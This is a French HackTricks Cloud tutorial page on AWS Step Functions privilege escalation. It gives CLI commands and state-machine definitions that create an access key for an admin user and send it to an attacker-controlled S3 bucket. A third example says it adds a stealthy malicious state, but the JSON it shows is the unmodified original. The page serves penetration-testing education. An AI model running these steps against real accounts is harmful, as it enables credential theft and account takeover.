AWS - Step Functions Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Step Functions
Pour plus dâinformations sur ce service AWS, consultez :
Task Resources
Ces techniques dâescalade de privilĂšges vont nĂ©cessiter lâutilisation de certaines ressources AWS Step Functions afin dâeffectuer les actions dâescalade de privilĂšges souhaitĂ©es.
Pour vĂ©rifier toutes les actions possibles, vous pouvez vous rendre dans votre propre compte AWS, sĂ©lectionner lâaction que vous souhaitez utiliser et voir les paramĂštres quâelle utilise, comme dans :

Ou vous pouvez aussi consulter la documentation API AWS et vérifier la documentation de chaque action :
states:TestState & iam:PassRole
Un attaquant disposant des permissions states:TestState et iam:PassRole peut tester nâimporte quel state et lui passer nâimporte quel rĂŽle IAM sans crĂ©er ni mettre Ă jour un state machine existant, ce qui peut permettre un accĂšs non autorisĂ© Ă dâautres services AWS avec les permissions des rĂŽles. CombinĂ©es, ces permissions peuvent conduire Ă des actions non autorisĂ©es Ă©tendues, allant de la manipulation de workflows et de la modification de donnĂ©es Ă des fuites de donnĂ©es, la manipulation de ressources et lâescalade de privilĂšges.
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
Les exemples suivants montrent comment tester un state qui crĂ©e une access key pour lâutilisateur admin en tirant parti de ces permissions et dâun rĂŽle permissif dans lâenvironnement AWS. Ce rĂŽle permissif doit avoir une politique Ă privilĂšges Ă©levĂ©s associĂ©e (par exemple arn:aws:iam::aws:policy/AdministratorAccess) qui permet au state dâeffectuer lâaction iam:CreateAccessKey :
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Commande exécutée pour effectuer le privesc:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Impact potentiel: Exécution et manipulation non autorisées des workflows et accÚs à des ressources sensibles, pouvant entraßner des violations de sécurité importantes.
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
Un attaquant disposant des permissions states:CreateStateMachine et iam:PassRole pourrait crĂ©er une state machine et lui associer nâimporte quel rĂŽle IAM, permettant un accĂšs non autorisĂ© Ă dâautres services AWS avec les permissions du rĂŽle. Contrairement Ă la technique de privesc prĂ©cĂ©dente (states:TestState & iam:PassRole), celle-ci ne sâexĂ©cute pas dâelle-mĂȘme : vous devrez Ă©galement disposer des permissions states:StartExecution ou states:StartSyncExecution (states:StartSyncExecution is not available for standard workflows, just to express state machines) afin de lancer une exĂ©cution de la state machine.
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Les exemples suivants montrent comment crĂ©er une state machine qui crĂ©e une access key pour lâutilisateur admin et exfiltrates cette access key vers un bucket S3 contrĂŽlĂ© par lâattaquant, en tirant parti de ces permissions et dâun rĂŽle permissif dans lâenvironnement AWS. Ce rĂŽle permissif doit avoir une politique Ă haut privilĂšge associĂ©e (par exemple arn:aws:iam::aws:policy/AdministratorAccess) permettant Ă la state machine dâexĂ©cuter les actions iam:CreateAccessKey & s3:putObject.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Commande exécutée pour créer la state machine:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Commande exĂ©cutĂ©e pour dĂ©marrer une exĂ©cution de la machine dâĂ©tat prĂ©cĂ©demment créée:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
Warning
Le bucket S3 contrĂŽlĂ© par lâattaquant doit disposer des autorisations pour accepter une action s3:PutObject depuis le compte victime.
Impact potentiel: exécution et manipulation non autorisées des workflows et accÚs à des ressources sensibles, pouvant conduire à des violations de sécurité importantes.
states:UpdateStateMachine & (pas toujours requis) iam:PassRole
Un attaquant disposant de la permission states:UpdateStateMachine pourrait modifier la dĂ©finition dâune state machine, en ajoutant des Ă©tats furtifs supplĂ©mentaires susceptibles de conduire Ă une escalation de privilĂšges. Ainsi, lorsquâun utilisateur lĂ©gitime lance une exĂ©cution de la state machine, ce nouvel Ă©tat malveillant furtif sâexĂ©cutera et lâescalade de privilĂšges aboutira.
Selon le degrĂ© de permissivitĂ© du IAM Role associĂ© Ă la state machine, un attaquant se trouverait dans lâune des deux situations suivantes :
- Permissive IAM Role : Si le IAM Role associé à la state machine est déjà permissif (il possÚde par exemple la policy
arn:aws:iam::aws:policy/AdministratorAccessattachée), alors la permissioniam:PassRolene serait pas nécessaire pour escalader les privilÚges puisque la mise à jour de la définition de la state machine suffirait. - Not permissive IAM Role : Contrairement au cas précédent, ici un attaquant aurait aussi besoin de la permission
iam:PassRolecar il serait nĂ©cessaire dâassocier un IAM Role permissif Ă la state machine en plus de modifier la dĂ©finition de la state machine.
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Les exemples suivants montrent comment mettre Ă jour une state machine lĂ©gitime qui nâinvoque quâune fonction HelloWorld Lambda, afin dâajouter un Ă©tat supplĂ©mentaire qui ajoute lâutilisateur unprivilegedUser au groupe IAM administrator. Ainsi, lorsquâun utilisateur lĂ©gitime dĂ©marre une exĂ©cution de la state machine modifiĂ©e, ce nouvel Ă©tat malveillant et furtif sera exĂ©cutĂ© et lâescalade de privilĂšges rĂ©ussira.
Warning
Si la state machine nâa pas de IAM Role permissif associĂ©, la permission
iam:PassRoleserait Ă©galement requise pour mettre Ă jour le IAM Role afin dâassocier un IAM Role permissif (par exemple un rĂŽle avec la politiquearn:aws:iam::aws:policy/AdministratorAccessattachĂ©e).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Commande exĂ©cutĂ©e pour mettre Ă jour la machine dâĂ©tat lĂ©gitime:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Impact potentiel : Exécution et manipulation non autorisées des workflows et accÚs à des ressources sensibles, pouvant entraßner des violations de sécurité importantes.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

